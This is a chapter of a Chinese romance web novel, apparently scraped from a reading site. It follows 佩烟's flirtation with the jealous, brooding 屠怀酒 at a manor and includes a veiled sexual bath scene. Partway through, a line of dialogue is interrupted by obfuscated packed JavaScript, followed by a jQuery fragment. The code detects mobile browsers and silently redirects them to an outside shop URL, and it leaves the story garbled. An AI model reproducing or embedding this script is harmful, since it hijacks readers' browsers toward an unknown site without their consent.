佩烟十分警惕:“你先说什么事。”
“换个称呼。”在开口前屠怀酒原本是有正事要说,但此刻脑子里却只有这一个念头,“不要连名带姓的叫我。”
就这事?佩烟松了口气,随后又开始苦恼,“那叫你什么呀?”
“屠兄?”佩烟歪头思索,“恩公?”
屠怀酒面无表情。
枪杆上的红穗都一动不动。
佩烟盯着他瞧,故意拖着声,“叫什么好呢?”
屠怀酒沉默的仿佛和枪融为一体。
佩烟蓦地笑出声,伸手摸了一把腹肌就跑,回头时,见屠怀酒还愣愣地站在原地。
竟然没追过来,她笑吟吟道,“怀酒。”
屠怀酒偏头看过来的眸光幽暗。
“我饿了,饭在哪里呀?”佩烟笑着,“你吃了吗?”
屠怀酒用一种仿佛要将她吞掉的目光盯着她,“没吃,我也饿。”
所以仆人还不知道庄子里来人了吗?佩烟有些震惊,不会还要自己做吧?
她刚要问,结果就看到屠怀酒扔下枪往栖羽阁走。
“怀酒,你干什么去啊?”
屠怀酒头也没回,步履匆匆,“饭做好了,在福寿堂。”
“啊?那你……”佩烟还没说完,就见他一个飞身落进了栖羽阁。
跑这么快干嘛去啊?
佩烟不解,福寿堂又在哪里啊?她穿过歇花馆前面的庭院,在回廊上遇到了个仆人,仆人见到她时没有惊讶,而是上前为她引路。
途中看到有两个仆人挑着水匆匆过去,佩烟了然,这个方向是去栖羽阁,原来屠怀酒是回去沐浴了。
不知道他明天还来不来练武,佩烟低头看了看自己的手,刚才那一滑而过的手感柔韧滚烫,在触碰的瞬间似乎还颤了两下。
早知道就不摸这么快了,佩烟脸有些羞怯的发烫,第一次没经验啊。
不知道以后还有没有练手的机会。
栖羽阁里,屠怀酒闭眼沉在水中,冰冷的水严丝合缝的将他包裹着,但腰腹处还是灼热的烫。
水面倏然荡起剧烈波动,底部像是有蛟龙盘旋般掀起波澜,在猛烈的冲击下水波溢出砸向地面炸开水花。
激荡的水波久久未停,疾驰的蛟龙在水中探索,或急或缓,不断搅动风云,良久后将清透明亮染成浊色。
随着窗外一声鸟叫,水面逐渐恢复平静,只剩下圈圈涟漪。
用过午膳又在花园里逛了一圈,佩烟才看到缓缓归来的屠怀酒。
她坐在水榭里,手里捧着半个晶莹剔透的石榴,风轻盈地撩起淡粉色的裙摆,与水面荡起的涟漪交相呼应。
她看着一点点走近的屠怀酒,总感觉好像哪里不对劲,但又说不上来。
屠怀酒沉默地坐在了离她稍远的另一侧,并没看她。
有个仆人带着佩烟让他去取的鱼食随后赶来,这人叫小五,刚才也是他一直陪着逛花园。
佩烟看到小五,才恍然发现屠怀酒的不同之处。
他换了一身素色的立领对襟衫,高高的衣领完美贴合颈部曲线,显得脖颈修长,背部笔挺板正,整个人挺拔如竹。
小五将鱼食递过来,“姑娘。”
佩烟挪开目光,看向小五手里的鱼食,“这么多?不会吃撑吗?”
“姑娘可以少撒点。”小五说。
“对哦。”佩烟笑着接过来,“谢谢你。”
小五看着她的脸,不自觉也展开笑容。
屠怀酒眸色冷淡地盯着小五,嘴角微沉。
佩烟将石榴放在旁边,转身趴在栏杆上撒鱼食,水面很快围了一圈颜色鲜艳的鱼。
“哇,这里有这么多鱼啊。”佩烟有些惊讶。
这些鱼她都没见过,永平村的河里也有鱼,牛二叔带她去抓过,但都是青褐色或灰黑色的鲫鱼和草鱼。
这里的鱼却有红有白,还有一条淡蓝色亮莹莹十分娇小的鱼,就它吃的最欢。
佩烟盯着那条鱼,头也没回的问,“这鱼叫什么呀?”
小五凑过去瞧了一眼,全是欢腾抢食的鱼,“姑娘您说哪条?”
“鳑鲏,又叫彩圆儿。”①
佩烟回头,屠怀酒不知何时坐到了她旁边。
“那条呢?”佩烟又看向一条金色扁扁的小鱼。
屠怀酒:“金燕鱼,从侧面看像燕子。”②
真的诶,佩烟又问了几条,每一次不用指,屠怀酒就知道她想问哪个。
佩烟有些好奇的撒着鱼食,“怀酒,这些鱼能吃吗?”
她回想了一下鲫鱼汤的鲜美。
屠怀酒噙着笑,“怎么,你也要让它们明年再到我家来?”
佩烟:“鱼可没有这待遇。”
屠怀酒:“想吃鱼,晚上让他们给你做鲫鱼汤。”
佩烟眼睛一亮,“好呀。”随后又低头去看鱼。
屠怀酒眼尾若有似无的扫了一眼小五,“以后想问什么就叫我。”
“本来就是想问你啊。”佩烟没抬头,“是你自己坐太远。”
小五在旁边垂着头,默默退到后方。
“嗯,我的错。”屠怀酒把她手里的鱼食拿过来,换成石榴,“把它们撑死你明天就看不到了。”
佩烟看他,“不躲我啦?”
“谁躲你?”
“那你坐那么远。”佩烟说,“害羞啦?”
屠怀酒:“那你这么大方,是老手吗?”
佩烟回想了一下自己看过的话本,神秘兮兮的说,“算是吧,我还看过挺多的。”
屠怀酒又不吭声了。
佩烟没在意,看着水中的游鱼,随手挖着石榴,鲜红的汁水顺着指尖流下来,十分黏腻,她看向小五,“有帕子吗?”
小五抬眸露出殷勤的笑容,说话间就要上前。
屠怀酒突然握住佩烟的手。
佩烟诧异的低头,看他正用袍角给她擦手指。
红汁很快渗入素色衣衫中,像是雪地上绽开的红梅。
看着衣衫变得皱巴巴,佩烟说,“人家小五有帕子,你干嘛用衣服擦啊。”
屠怀酒垂着头不说话,只是很认真仔细的将每根手指都擦干净,白皙细嫩的皮肤很快泛起淡粉色,像是石榴汁不怀好意黏上的烙印。
佩烟:“也行,你回去还能赶紧换掉这件衣服。”
屠怀酒:“这件衣服怎么了?”
佩烟伸出另一只手,屈指搭在他脖颈立领处一勾,“太严实了。”
屠怀酒抬头看她。
立领随着佩烟松手,瞬间拍回脖颈,像羽毛轻飘飘的扫了一下。
“我不喜欢。”佩烟说,“换掉它。”
屠怀酒攥着她的手,眸中涌动着危险的暗色,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695939|206995||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那你喜欢什么样的?”
鱼也看的差不多了,佩烟抽回手快速起身,走出两步回头对他笑,“练枪那样的?反正不是这样的。”
说完她就像只抓不住的蝴蝶,脚步轻盈地离开了水榭。
屠怀酒目光追逐着她的身影,直到被假山掩盖,他靠着栏杆扯开衣领,微风带着丝丝清凉拂过,心底的灼热与躁动慢慢褪去。
小五还站在原地,他没有错过佩烟离开时,屠怀酒看向他那冷冽的眼神。
“你叫小五?”屠怀酒冷睨。
小五恭顺的低头,“是。”
屠怀酒:“在这庄子多久了?”
小五:“八岁进庄子,已经十二年了。”
“她挺喜欢你。”屠怀酒淡道,“花园逛完了?”
仿佛有刀悬在头上,小五差点跪下,“小人卑贱,姑娘只是可怜我,才让我在花园引路。”
屠怀酒神情疏离,“怕什么?我又没有罚你。”
小五两条腿哆嗦着,他也说不清怕什么,只是感觉屠怀酒像变了个人,和方才完全不同。
看他时的眼神,就像在看路边的蚂蚁,想弄死随时都可以。
艳阳高照,小五却冷汗岑岑。
“她挺喜欢你。”屠怀酒低声又重复了一遍。
小五有些摸不清头脑,他刚要表忠心,就听到佩烟的声音传来。
“小五,过来给我引路呀。”佩烟从假山后拐出来,在远处冲这边招手,“怀酒你跟他说什么呢?”
屠怀酒眸色冰冷的勾起唇角,“看,她回来找你了。”
他瞥向小五,“还不过去?”
小五赶紧离开水榭。
屠怀酒攥着沾满石榴汁的袍角,看着二人在远处汇合,复又消失在假山后。
手痒,想杀个人。
小五打了个寒噤,佩烟有些奇怪,“小五,你冷吗?”
“不冷。”小五笑的有些勉强,“姑娘怎么不让公子陪您?”
“我怕他临时有事又不好开口。”佩烟说,“他要是陪我,就干不了正事了。”
小五:“可公子半日都没出门,想必今日无事,姑娘体贴公子,公子也体贴姑娘,或许推了正事也未可知。”
“您二人可通过气?”小五说,“万一想到两处去就不好了。”
佩烟想想也对,于是与小五又原路返回,结果远远就看见水榭那边空无一人。
小五额头冒汗,怎么这么一会功夫,人又没了?
佩烟倒是没太在意,“你看,我就说吧,他肯定有要事要忙,走吧。”
小五勉强挤出一丝笑容跟在身后。
信鸽扑腾着翅膀飞出山庄,很快有消息传了出去。
临近傍晚,佩烟逛庄子刚逛到东边的染织间,就听到有闹腾腾的声音传来。
她带着疑惑和小五前去探看,就见庄子的老管事在必经之路拦住他们。
老管事:“姑娘可是想用晚膳了?”
佩烟摇头,“庄子上来人了吗?怎么这么吵啊?”
老管事就像没听见一样,“吵吗?”
佩烟点头,“吵啊,你听。”她循着声音的方向看去,似乎是栖羽阁那边。
然而刚才还闹哄哄似乎有许多人在争吵,可此刻却鸦雀无声,落针可闻。
老管事捏着白胡须微笑,“您看,什么声音都没有。”